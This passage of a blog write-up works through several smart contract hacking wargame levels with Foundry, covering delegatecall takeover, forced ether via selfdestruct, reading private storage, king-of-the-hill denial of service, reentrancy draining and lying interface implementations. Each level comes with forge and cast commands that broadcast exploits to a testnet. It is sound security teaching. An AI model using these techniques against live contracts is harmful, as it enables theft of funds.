from a previous challenge, we know that fallback functions are like a "catch-all" in a contract, so it's pretty easy to access them.

in this particular case, `delegatecall()` takes `msg.data` as input (_i.e._, whatever data we pass when we trigger the fallback). it's pretty much an `exec`, as we can pass function calls through it.

the last information we need is to learn how `deletecall()` passes arguments.

the function signatures are encoded by computing [**Keccak-246**](https://solidity-by-example.org/hashing/) and keeping the first 4 bytes (the function selector in the EVM).

    delegatecall(abi.encodeWithSignature("func_signature", "arguments"));
    

in our attack we will use `call(abi.encodeWithSignature("pwn()")` to trigger `fallback()` and become `owner`.

this is also equivalent to the `eth` call `sendTransaction()`:

    sendTransaction({ 
        to: contract.address, 
        data: web3.eth.abi.encodeFunctionSignature("pwn()"), 
        from: hackerAddress
     })
    

* * *

### solution

check `test/06/Delegation.t.sol`:

![](https://storage.googleapis.com/papyrus_images/13152b221a6e4a1edd108a4f974119331dec139b3f24ce63ea93c09b2483839b.png)

run:

    > forge test --match-contract DelegationTest -vvvv    
    

submit with `script/06/Delegation.s.sol`:

![](https://storage.googleapis.com/papyrus_images/e447d078f0b7a026e9f13477d4affa1b542dde99358f2f3c2215650b78b9974b.png)

by running:

    > forge script ./script/06/Delegation.s.sol \ 
                    --broadcast -vvvv \ 
                    --rpc-url sepolia
    

* * *

### alternative solution using `cast`

get `methodId` for `pwn()`:

    > cast calldata 'pwn()'
    

use the result above to trigger `Delegation()` fallback function with a crafted `msg.data`:

    > cast send <instance address> <calldata above> \ 
                        --gas <extra gas> \ 
                        --private-key=<private-key> \ 
                        --rpc-url=<sepolia url> 
    

### pwned...

* * *

1001\. exploiting payable contracts
-----------------------------------

this challenge’s contract has no code…

![](https://storage.googleapis.com/papyrus_images/5383b98c44c722f29c85ef8a24eac7865cb4c11e9dc3e8a10425d8a4812e1f0d.png)

in fact, this challenge exploits smart contract invariants, and how total balance is not a good invariant.

contract invariants are properties of the program state that are expected to always be true. for instance, the value of `owner` state variable, the total token supply, etc., should always remain the same.

a state in the blockchain is considered valid when the contract-specific invariants hold true.

in this challenge, we need to find a way to forcefully send `ether` to a contract that does not explicitly contain a `payable`, a `receive()`, or a `fallback()` function.

there are two ways this can be done when the destination contract is already deployed:

*   by using `coinbase` transactions or block rewards (like MEV searchers and validators rewards)
    
*   by leveraging ([**the now being deprecated**](https://ethereum-magicians.org/t/deprecate-selfdestruct/11907)) `selfdestruct(address)`, which allows contracts to receive `ether` from other contracts.
    
    *   all the `ether` stored in the calling contract is transferred to `address` (and since this happens at the EVM level, there is no way for the receiver to prevent it).
        
    *   `selfdestruct()` can be considered a garbage collection to clean up voided contracts (and it consumes negative gas).
        

* * *

### solution

we craft a very simple exploit, located at `src/07/ForceExploit.sol`:

![](https://storage.googleapis.com/papyrus_images/e7667b01c1f2cb4b3013e8272bbaf7316195e6030a01eb6347319310cb62390e.png)

and test it with `test/07/Force.t.sol`:

![](https://storage.googleapis.com/papyrus_images/b5c67e440fa0eee1b8c8995804109266b58c6d9980fec6b65c8adcc1e62db933.png)

running:

    > forge test --match-contract ForceTest -vvvv    
    

then, we submit the solution with `script/07/Force.s.sol`:

![](https://storage.googleapis.com/papyrus_images/d5782dedc2fd9f0968e897b69e6b4163caf8a3e516d83cf7f7a7b3bfb9e74a3d.png)

by running:

    > forge script ./script/07/Force.s.sol --broadcast -vvvv --rpc-url sepolia
    

### pwned...

* * *

### alternative solution using `cast`

deploy the exploit with:

    > forge create src/07/ForceExploit.sol:ForceExploit \ 
                    --constructor-args=<level address> \ 
                    --private-key=<private-key> \ 
                    --rpc-url=<sepolia url> 
    

then call the contract with:

    > cast send <deployed address> \ 
                    --value 0.0005ether \ 
                    --private-key=<private-key> \ 
                    --rpc-url=<sepolia url> 
    

* * *

1010\. exploiting private functions
-----------------------------------

this challenge explores the fact that if a state variable is declared `private`, it's only hidden from other contracts (_i.e._, it's private within the contract's scope).

this is the vulnerable contract:

![](https://storage.googleapis.com/papyrus_images/72902eaf7db0948ff928c0ba51176533b8cd38136adac1f2fc983d905e4c71af.png)

in other words, a `private` variable's value is still recorded in the blockchain and is open to anyone who understands how the memory is organized.

remember that `public` and `private` are visibility modifiers, while `pure` and `view` are state modifiers.

a great explanation about **solidity function visibility** can be found on [**solidity by example**](https://solidity-by-example.org/visibility/).

before we start, it's worth talking about the four ways the EVM stores data, depending on their context.

firstly, there is the **key-value stack**, where you can `POP`, `PUSH` , `DUP1`, or `POP` data.

*   basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit `1024`.
    
*   stack items (both keys and values) have a size of `32-bytes` (or `256-bit`), so the EVM is a `256-bit` word machine (facilitating, for instance, `keccak256` hash scheme and elliptic-curve computations).
    

secondly, there is the **byte-array memory (RAM)**, used to store data during execution (such as passing arguments to internal functions).

*   opcodes are `MSTORE`, `MLOAD`, or `MSTORE8`.
    

third, there is the **calldata** (which can be accessed through `msg.data`), a read-only byte-addressable space for the data parameter of a transaction or call.

*   unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read.
    
*   opcodes are `CALLDATACOPY`, which copies a number of bytes of the transaction to memory, `CALLDATASIZE`, and `CALLDATALOAD`.
    

lastly, there is **disk storage**, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of `2^{256}` slots of `32 bytes` each.

*   the opcode `SSTORE` is used to store data and `SLOAD` to load.
    

* * *

### discussion

the first thing we see in the contract is the two state variables set as `private`.

in particular, `password` is declared as `byte32`, which makes this problem even simpler (hint: remember that [**the EVM operates on 32 bytes at a time**](https://docs.soliditylang.org/en/v0.8.21/internals/layout_in_storage.html)):

    bool private locked; 
    bytes32 private password;
    

looking at the constructor, we see that `password` is given as input by whoever deploys this contract (and also setting the variable `locked` to `True`):

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
      }
    

finally, we look at the only function in the contract: it "unlocks" `locked` when given the correct password:

    function unlock(bytes32 _password) public {
        if (password == _password) {
          locked = false;
        }
    }
    

there are many ways to solve this exercise, but the theory is the same: each smart contract has its own storage reflecting the state of the contract, which is divided into 32-byte slots.

a first approach is simply to call the [**well-known API**](https://web3js.readthedocs.io/en/v1.2.9/web3-eth.html#getstorageat)  `web3.eth.getStorageAt(contractAddress, slotNumber)`, as we know the contract address and that `password` is on slot number `1`:

    > await web3.eth.getStorageAt("<contract address>, 1")
    

however, we use a more formal approach that leverages [**foundry's**](https://book.getfoundry.sh/cheatcodes/load?highlight=vm.load#examples) `vm.load()` method:

    function load(address account, bytes32 slot) external returns (bytes32);
    

in particular, foundry's [**std storage library**](https://book.getfoundry.sh/reference/forge-std/std-storage) is a great util to manipulate storage.

from the foundry book, here is an illustration of how `vm.load()` works:

    contract LeetContract {
         uint256 private leet = 1337; // slot 0
    }
    
    bytes32 leet = vm.load(address(leetContract), bytes32(uint256(0)));
    emit log_uint(uint256(leet)); // 1337
    

* * *

### solution

check `test/08/Vault.t.sol`:

![](https://storage.googleapis.com/papyrus_images/3ed6115b4759187f418b721bbd1d7fc9db392a5e1866ed373a151b2716f4ec5d.png)

run the test with:

    > forge test --match-contract VaultTest -vvvv    
    

then submit the solution with `script/08/Vault.s.sol`:

![](https://storage.googleapis.com/papyrus_images/fea3d580cdbc1797ba0158623e40202ef50ba4718458b7acaf8604f49e3279ab.png)

by running:

    > forge script ./script/08/Vault.s.sol --broadcast -vvvv --rpc-url sepolia
    

### pwned...

* * *

### alternative solution using `cast`

get the password with:

    > cast storage <contract address> 1 \ 
                  --private-key=<private-key> \ 
                  --rpc-url=<sepolia url> 
    

run in the console:

    > await contract.unlock(<password>)
    

* * *

1011\. exploiting transfer(msg.value)
-------------------------------------

the `King` contract represents [**a simple ponzi**](https://www.kingoftheether.com/postmortem.html) where whoever sends the largest amount of `ether` (larger than the current `prize` value) becomes the new king.

in this event, the previous king gets paid the new prize.

here is the vulnerable contract:

![](https://storage.googleapis.com/papyrus_images/dc4b5591eb160af9742555e4ac71cc6cc9f575633a0ce9acfe9f164636554456.png)

the vulnerability lies on the fact that the contract trusts the external input of `msg.value` when running `transfer(msg.value)`. it assumes that the king is an EOA, which could also be a contract.

our goal is to explore this vulnerability to not let anyone else become the king.

* * *

### discussion

the `King` contract starts with three state variables that are set in the constructor:

      address king;
      uint public prize;
      address public owner;
    
      constructor() payable {
        owner = msg.sender;  
        king = msg.sender;
        prize = msg.value;
      }
    

`king` is initially the person who deployed the contract and sets `prize` (the current value to be bet by someone to become `king`). the only requirement is that the `ether` sent to the contract must be larger than `prize`.

following we have the `receive()` function and a getter for `king`. to become a `king` one needs to either be `owner` or send a value for `prize` larger than its current. since we didn't deploy the contract, the first option is not available:

      receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
      }
    
      function _king() public view returns (address) {
        return king;
      }
    

looking at `receive()`, we see that after we send enough `prize`, a `payable` function is triggered to pay `prize` to the previous `king`.

it uses `transfer(address)`, which sends the amount of `wei` to `address`, throwing an error on failure.

sending `ether` to EOAs is usually performed via `transfer()` method, but remember that there are a few ways of performing external calls in solidity. the `send()` function also consumes `2300` gas, but returns a `bool`.

finally, the `call()` function and the `CALL` opcode can be directly employed, forwarding all gas and returning a `bool`.

in addition, note that this contract has no error handling, so an obvious security issue is **unchecked call return values**.

in other words, each time a contract sends `ether` to another, it depends on the other contract’s code to handle the transaction and determine its success.

for instance, the contract might not have a `payable` `fallback()`, or have a malicious `fallback()` or `payable` function.

if the new `king` is a contract address instead of a EOA, it could redirect `transfer()` and revert its transaction, skipping the execution of the next lines:

    king = msg.sender;
    prize = msg.value;
    

* * *

### solution

we write our exploit at `src/09/KingExploit.sol`.

note that the `fallback()` is optional for winning the challenge, but we add it here to make very clear the point that no `eth` should be sent (_i.e._, there won't be a new king):

![](https://storage.googleapis.com/papyrus_images/1db041ca3b77c96bd8ef74b17db286387ea03e275bc94195df3503864efc54ea.png)

we test this script with `test/09/King.t.sol`:

![](https://storage.googleapis.com/papyrus_images/0156a4c5f894d17511484f7216c314d727088b10c41ae80d47caffa589348268.png)

running with:

    > forge test --match-contract KingTest -vvvv    
    

then, we craft the submission script at `script/09/King.s.sol`:

![](https://storage.googleapis.com/papyrus_images/4a5cd6fc4f65022da352e26801cc9cdf7102e3acccab3b6379c782a8edb29776.png)

and finish the problem running:

    > forge script ./script/09/King.s.sol --broadcast -vvvv --rpc-url sepolia
    

### pwned...

* * *

### alternative solution using `cast`

deploy the exploit with:

    > forge create src/09/KingExploit.sol:Contract \ 
                  --constructor-args=<level address> \ 
                  --private-key=<private-key> \ 
                  --rpc-url=<sepolia url> --value 1000000000000000wei
    

then call the contract with:

    > cast send <deployed address> \ 
              --value 0.0001ether \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> 
    

* * *

1100\. exploiting reentrancy
----------------------------

we know that contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (_i.e._, reentering) or any other contract in the call stack.

a **reentrancy attack** can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.

state in the blockchain is considered valid when the contract-specific invariants hold true. contract invariants are properties of the program state that are expected always to be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.

in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.

for example, an attacker could repeatedly call a `withdraw()` or `receive()` function (or similar balance updating function) before a vulnerable contract’s balance is updated.

> 💎 [**for a detailed review on reentrancy attacks, check my mirror post**](https://mirror.xyz/go-outside.eth/7Q5DK8cZNZ5CP6ThJjEithPvjgckA24D2wb-j0Ps5-I)**_._**

in this challenge, we need to exploit this contract:

![](https://storage.googleapis.com/papyrus_images/13ce5842b4dd9da9272bc323f6403959c74a8d834780a7ac6779fe6955ddcb58.png)

* * *

### discussion

the `Reentrance` contract starts with a state variable for `balances`:

    contract Reentrance {
      mapping(address => uint256) public balances;
    

then we have a getter and a setter function for `donate()` (whoever donates some `ether` becomes part of `balances`) and `balanceOf()`:

    function donate(address _to) public payable {
         balances[_to] = balances[_to] += msg.value;
    }
    
    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }
    

then, we have the `withdraw(amount)` function, which is the source of our reentrancy attack.

for instance, note how it already breaks the `checks -> effects -> interactions` pattern.

![](https://storage.googleapis.com/papyrus_images/ce47ee9490351e7da1afa180c55f8ee8fa9b8a7dc6fb2de78d04a48e6b3efedc.png)

in other words, if `msg.sender` is a (attacker) contract and since `balances` deduction is made after the call, the contract can call a `fallback()` to cause a recursion that sends the value multiple times before reducing the sender's balance.

      function withdraw(uint256 _amount) public {
            if (balances[msg.sender] >= _amount) {
                (bool success, ) = msg.sender.call{value: _amount}("");
                if (success) {
                    _amount;
                }
                // unchecked to prevent underflow errors
                unchecked {
                    balances[msg.sender] -= _amount; 
                }
            }
        }
    

finally, we see a blank `receive()` function, which receives any `ether` sent to the contract without specifically calling `donate()`.

`receive()` is a new keyword in solidity 0.6.x, and it is used as a `fallback()` function for empty calldata (or any value) that is only able to receive ether.

remember that solidity’s `fallback()` function is executed if none of the other functions match the function identifier or no data was provided with the function call (and it can be optionally `payable`).

    receive() external payable {}
    

* * *

### solution

our exploit needs to do the following:

1.  makes an initial donation of `ether` through `call()`.
    
2.  calls the first `withdraw(initialDeposit)` for this amount of `ether` (which triggers our exploit's `receive()` for the first time and starts the recursion).
    
3.  call the second `withdraw(address(level).balance)` to drain the contract.
    

the exploit is located at `src/10/ReentrancyExploit.sol`. note that the attack occurs at `run()` and `receive()`. the function `withdrawtoHacker()` can be called afterwords to withdraw the balance from the `ReentrancyExploit` contract:

![](https://storage.googleapis.com/papyrus_images/f164aa2fbce05c1b8a6ce8ea4241419e3cc76acc95815d28fead99f28d155d2a.png)

which can be tested with `test/10/Reentrancy.t.sol`:

![](https://storage.googleapis.com/papyrus_images/3ec5655b6c3236606aa19c5a5d43d0186954259f2984995952dc756a42b1364a.png)

by running:

    > forge test --match-contract ReentrancyTest -vvvv    
    

finally, the solution can be submitted with `script/10/Reentrancy.s.sol`:

![](https://storage.googleapis.com/papyrus_images/692c336ab3db9571c272d883ba367e2a8ef514518f1e966b623eabd765b6a7b1.png)

by running:

    > forge script ./script/10/Reentrancy.s.sol --broadcast -vvvv --rpc-url sepolia
    

### pwned...

* * *

1011\. exploiting interfaces
----------------------------

this challenge explores vulnerabilities in smart contract composability (usually classified into **ERC standards**, **libraries**, and **interfaces**):

![](https://storage.googleapis.com/papyrus_images/47b2ca1ca7b90ac9e6579e492f48d04d71a1c001ac8cbcbde2ea8fbf84a9eaf1.png)

more specifically, the lesson in this challenge is to **be careful when using interfaces** (or other contracts), as they introduce an attack surface to any re-implementable function (and `view` or `pure` modifiers cannot be treated as guarantees for function behavior).

[**remember that an**](https://solidity-by-example.org/interface/) `interface` cannot have any functions implemented, declare a constructor, declare state variables, and all functions must be external.

in addition, another takeaway is to refrain from giving permissions to `msg.sender` to implement interfaces or modify the storage and state of your contract (unless explicitly required).

* * *

### discussion

the contract starts with an `interface` containing an `external` function that returns a `bool` if `isLastFloor()`.

note that `external` allows a state change (an alternative is `view`, which doesn't allow modification of the state of the contract).

    interface Building {
      function isLastFloor(uint) external returns (bool);
    }
    

now, let's look at the `Elevator` contract, where we already see a mistake in the very definition:

    contract Elevator {...}
    

should be, instead,

    contract Elevator is Building {...} 
    

next, we see two state variables, `bool top` to indicate if we are at the top and `uint floor` telling where to go:

    bool public top;
    uint public floor;
    

finally, there is one (`public`) function, which simulates the movement of the elevator by first initiating the `building` contract (with the data provided by `msg.sender`) and then taking `uint _floor`.

this challenge's vulnerability is found in this part, due to the unchecked assumption about the caller:

    function goTo(uint _floor) public {
        Building building = Building(msg.sender);
    }
    

if the given floor number is not the last, fill both in variables `floor` and `top`:

        if (! building.isLastFloor(_floor)) {
          floor = _floor;
          top = building.isLastFloor(floor);
        }
    

our goal is to pass the check `!building.isLastFloor(_floor)` so that we can make `top == True` by hacking the interface function `isLastFloor()`.

we can achieve this by tailoring an exploit using the interface and defining `isLastFloor()` to return `false` in the first call and `true` in the second call (with the same input).

* * *

### solution

an exploit could be crafted with `contract.call(abi.encodeWithSignature("goTo(uint)", 0))`.

however, since we are leveraging foundry, we craft the following exploit:

![](https://storage.googleapis.com/papyrus_images/0426a030a5d3944d53e1e461fc39e856dc933279b2ff4ba5391ec6fe9e159bea.png)

which can be tested with `test/11.Elevator.t.sol`:

![](https://storage.googleapis.com/papyrus_images/404ab454705435d62129955de93282dc211d67eb1621d9ccf5addfa56a0ae3c1.png)

by running:

    > forge test --match-contract ElevatorTest -vvvv
    

and submitted with `script/11/Elevator.s.sol`:

![](https://storage.googleapis.com/papyrus_images/25f0735194a2eda533a6dc8a5a633f57751ec7481f5f1744ac41ff00db970590.png)

by running:

    > forge script ./script/11/Elevator.s.sol \ 
                    --broadcast -vvvv \ 
                    --rpc-url sepolia
    

### pwned...

* * *

### solution using `cast` and `forge`

another way to submit our exploit is through `cast`. first, we could deploy our attack contract with:

    > forge create src/11/ElevatorExploit.sol:ElevatorExploit \ 
              --constructor-args=<level address> \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> 
    

then, we call the contract with:

    > cast send <level address> "run()" \ 
                --gas <extra gas> \ 
                --private-key=<private-key> --rpc-url=<sepolia url> 
    

*   finally, we can confirm that `top()` is `true` with:
    

    > cast call <level address> "top()" --rpc-url=<sepolia url> 
    

* * *

1110\. exploiting interfaces II
-------------------------------

in this challenge we explore restrictions of `view` functions through an `interface`, similarly to level `11` for `Elevator`:

![](https://storage.googleapis.com/papyrus_images/0c28781e0ecefed2ba1b43e30096d41a85a64c780541409572064bdb96855292.png)

now, the goal is to find a way to buy items from a `Shop` contract for a lower price when compared to sold items.

remember that a `view` function [**cannot modify the state of the contract**](https://docs.soliditylang.org/en/v0.8.15/contracts.html#view-functions).

for instance, it cannot write to state variables, create other contracts, emit events, send ether with `call()`, use any low-level calls, use `selfdestruct()`, call functions that `pure` or `view`, or use inline assembly with certain opcodes.

* * *

### discussion

the first part of this contract is the `interface Buyer` that defines as `external view` function, `price()`, representing the amount of `wei` a `Buyer` must pay:

    interface Buyer {
      function price() external view returns (uint);
    }
    

then, in the `Shop` contract, we have two state variables:

    uint public price = 100;
    bool public isSold;
    

and a `public` function `buy()`, where the `price()` is being called twice.

this is our vulnerability, as one should never trust external inputs (_e.g.,_ coming from the `interface` implementation):

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);
    
        if (_buyer.price() >= price && !isSold) {
          isSold = true;
          price = _buyer.price();
        }
    }
    

in other words, `Shop` expects `Buyer` to return the price it is willing to pay to buy the item, believing that the price would not change the second time it is called, as it is a `view` function.

we will use this as our exploit, querying the value of `isSold()` and returning a different result based on our needs:

*   the first time `price()` is called, it returns `>100` to enter the loop.
    
*   then, the second time, it can return anything lower.
    

* * *

### solution

we craft the following exploit at `src/21/ShopExploit.sol`:

![](https://storage.googleapis.com/papyrus_images/6470088ecad0a4b987cf2cc805ede9ef1e7d5f31264025f227dde15fae43e315.png)

check `test/21.Shop.t.sol` for testing this solution::

![](https://storage.googleapis.com/papyrus_images/a6bad9149f48c85cfdf1491ecc2e82ab73e05266e153ae7e751d6e1e73bf6da9.png)

running:

    > forge test --match-contract ShopTest -vvvv    
    

then, submit the solution with `script/21/Shop.s.sol`:

![](https://storage.googleapis.com/papyrus_images/e0d39a05eb27b2d84f0dea535a4c327cc155b55ce7ff1ce2de9f81632b7d76a8.png)

by running:

    > forge script ./script/21/Shop.s.sol --broadcast -vvvv --rpc-url sepolia
    

### pwned...

* * *

**◻️ motherofbots.eth**
-----------------------

---

*Originally published on [bt3gl's symposium](https://paragraph.com/@go-outside/on-hacking-systematically-with-foundry)*
